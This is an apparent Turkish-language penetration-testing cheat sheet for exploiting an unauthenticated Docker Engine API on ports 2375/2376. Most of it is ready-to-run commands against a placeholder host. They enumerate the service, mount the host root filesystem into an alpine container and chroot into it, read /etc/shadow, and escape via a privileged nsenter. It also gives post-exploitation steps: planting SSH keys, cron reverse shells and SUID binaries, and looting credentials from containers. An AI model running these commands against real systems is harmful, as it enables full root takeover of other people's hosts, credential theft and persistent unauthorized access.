Docker Engine API (unauthenticated)
linuxDocker daemon TCP API (2375 cleartext, 2376 TLS). Kimlik dogrulamasiz acik kalmissa, uzak istemci ile host'ta privileged/host-mount container baslatip docker grubu = root prensibiyle host'a escape edilir.
Komutlar
nmap -sV -Pn -p 2375,2376 {{RHOST}} curl -s http://{{RHOST}}:2375/version docker -H tcp://{{RHOST}}:2375 info docker -H tcp://{{RHOST}}:2375 images docker -H tcp://{{RHOST}}:2375 run --rm -v /:/mnt -it alpine chroot /mnt sh docker -H tcp://{{RHOST}}:2375 run --rm -v /:/mnt alpine sh -c "cat /mnt/etc/shadow" docker -H tcp://{{RHOST}}:2375 run --rm --privileged --net=host --pid=host -it alpine nsenter -t 1 -m -u -n -i sh Servis Hakkinda
Docker Engine REST API’sini TCP uzerinden dinleyebilir: 2375/TCP sifresiz (cleartext), 2376/TCP TLS ile. Yanlis yapilandirma sonucu 2375 disariya kimlik dogrulamasiz acik birakilirsa, uzaktan tam Docker kontrolu elde edilir. Docker daemon root olarak calistigi icin bu pratikte host uzerinde root RCE demektir (docker grubuna uyelik root’a esdegerdir).
Enumeration
nmap ile 2375/2376 acik mi kontrol et. En hizli dogrulama: DOCKER_HOST ortam degiskenini hedefe yonlendirip docker info / docker version calistirmak; cevap geliyorsa API kimlik dogrulamasiz aciktir. API’ye dogrudan HTTP ile de erisilebilir (curl http://{{RHOST}}:2375/version, /containers/json, /images/json). Mevcut imajlari listele - host’ta hazir bir base image (alpine, ubuntu, busybox) escape icin kullanilir.
Sömuru (Host’a Escape)
Klasik teknik: host kok dosya sistemini (/) bir container icine mount edip chroot ile host’a gecmek.
docker -H tcp://{{RHOST}}:2375 run -v /:/mnt --rm -it <image> chroot /mnt shile host root fs’ine tam erisim.- Alternatif:
--privileged --net=host --pid=hostile baslatip host namespace’lerine gir. - Host fs mount edildikten sonra:
/etc/shadowoku,/root/.ssh/authorized_keys’e anahtar yaz, cron ile reverse shell ekle veya SUID binary yerlestir. Hedefte hic imaj yoksa, kucuk bir imaji (alpine) oncedocker pullile cek (internet varsa) ya dadocker importile yukle.
Pivot / Loot Notlari
Host root erisimi alindiktan sonra container’lardan credential topla: calisan container’larin environment degiskenleri (docker inspect) sik sik DB sifresi, API anahtari icerir. /var/lib/docker/ icindeki volume’lar ve diger container fs’leri loot icin onemlidir. authorized_keys’e anahtar ekleyip SSH ile kalici, temiz bir erisim kur; reverse shell aldiysan TTY’yi python3 -c 'import pty; pty.spawn("/bin/bash")' ile yukselt.